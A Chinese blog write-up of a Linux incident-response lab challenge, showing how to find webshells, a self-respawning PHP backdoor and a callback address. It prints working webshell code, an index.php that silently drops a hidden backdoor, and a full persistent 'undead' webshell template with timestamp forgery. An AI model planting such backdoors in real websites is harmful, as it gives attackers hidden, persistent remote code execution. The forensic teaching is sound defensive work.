第一章 应急响应- Linux入侵排查

发布于:2025-05-24 ⋅ 阅读:(19) ⋅ 点赞:(0)

环境题目链接:

https://xj.edisec.net/challenges/26

题目要求

1.web目录存在木马,请找到木马的密码提交

2.服务器疑似存在不死马,请找到不死马的密码提交

3.不死马是通过哪个文件生成的,请提交文件名

4.黑客留下了木马文件,请找出黑客的服务器ip提交

5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

Linux入侵排查的一般思路

查看历史命令 history

1、history查看当前会话的历史命令

cat /root/.bash_history

查看root用户的历史命令,注意wget ssh等相关命令,登录情况,下载文件

查看/etc/passwd

2、查看是否有异常用户(后门用户),查看文件/etc/passwd

└─$ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

# 解释:
# 用户名:密码:用户ID:组ID:用户说明:家目录:用户对应的shell。
# 注意:nologin一般说明这个用户是系统用户,不允许登录系统

3、查看用户密码信息,查看文件/etc/shadow

└─# cat /etc/shadow                 
root:$y$j9T$VtGT7HATc1Ap2/wR1wbMA/$EHoBQ4kNvn3/qULzCMv3/6f4Vg4BE8c2cxzDXggBKmC:18696:0:99999:7:::
daemon:*:18696:0:99999:7:::
bin:*:18696:0:99999:7:::

# 解释
# 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

对shadow的解释:

/etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。

/etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性

last查看登录日志

4、last查看历史登录日志

last -i | grep -v 0.0.0.0

可以输出不是本地登录的ip地址

检查端口

5、检查异常端口

netstat -anlpt

6、查看进程

ps -aux 查看所有进程信息,使用top命令可以查找挖矿程序

计划任务排查

7、计划任务排查

linux下计划任务一般是cron开头的,

crontab -l 查看当前用户的计划任务
crontab -e 修改计划任务
crontab -r 删除当前用户的所有计划任务

查看启动项

cat /etc/rc.local
ls /etc/init.d/
systemctl list-unit-files --type=service


解题过程

web目录存在木马,请找到木马的密码提交

可以直接download源码,D盾进行扫描

也可以执行使用find命令,查找关键字

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ -type f -name "*.jsp" | xargs grep "exec("
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.asp" | xargs grep "execute("
find ./ -type f -name "*.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ -type f -name "*.php" | xargs grep "base64_decode"

find ./ -type f -name "*.php" | xargs grep "eval("

输出结果
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>

从三个文件中,找到后门木马

<?php eval($_POST[1]);?>

我们可以判断发现1就是密码

flag{1}

服务器疑似存在不死马,请找到不死马的密码提交(php环境)

不死马有几个特点:

1、隐蔽性(.开头的文件是隐藏文件)

2、持久性

3、多样化保护机制(修改注册表,启动项rc.local或者crontab等)

----》持久性分析 ,可以查看计划任务

crontab -l 当前用户没有计划任务

cat /etc/rc.local linux的启动脚本文件

/etc/rc.local是允许用户自定义启动任务的

经过简单的排查发现后门没有写进计划任务中

继续排查分析刚刚找到的三个后门

.shell.php

index.php

index.php

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
	$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
	Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
	Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

这个题目是基于index.php页面的,访问了就会自动创建文件.shell.php。

补充,一般的不死马,大致写法如下:

<?php
ignore_user_abort(true);          // 1. 保持脚本持续运行
set_time_limit(0);               // 2. 取消脚本执行时间限制
unlink(__FILE__);                // 3. 自删除当前脚本文件(隐藏自身)
$file = '.test.php';             // 4. 定义隐藏后门文件名(以`.`开头)
$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>'; // 5. 后门逻辑
while (1){                       // 6. 无限循环
    file_put_contents($file,$code);          // 7. 写入/覆盖后门文件
    system('touch -m -d "2018-12-01 09:10:12" .test.php'); // 8. 修改文件时间戳(伪装旧文件)
    usleep(5000);                // 9. 暂停5毫秒(控制循环频率)
}
?>

复制md5进行解密

黑客留下了木马文件,请找出黑客的服务器ip提交

可以从ssh登录日志入手,排查登录成功的ip

但是都是192.168.开头的(内网地址,非外网)

这里是通过攻击者留下的后门,外连端口找到的(需要定位到后门文件,执行,然后找到外联IP)

直接查看端口连接情况

查看网站路径下的文件

这个elf文件命名很可疑,一般在html目录下是不会有这些东西的

增加执行权限

运行会卡住会话,直接尝试另外在开一个环境

成功找到外连ip和开放端口

10.11.55.21:3333

IP flag{10.11.55.21}

port flag{3333}

已经完成所有题目

总结


网站公告

今日签到

点亮在社区的每一天
去签到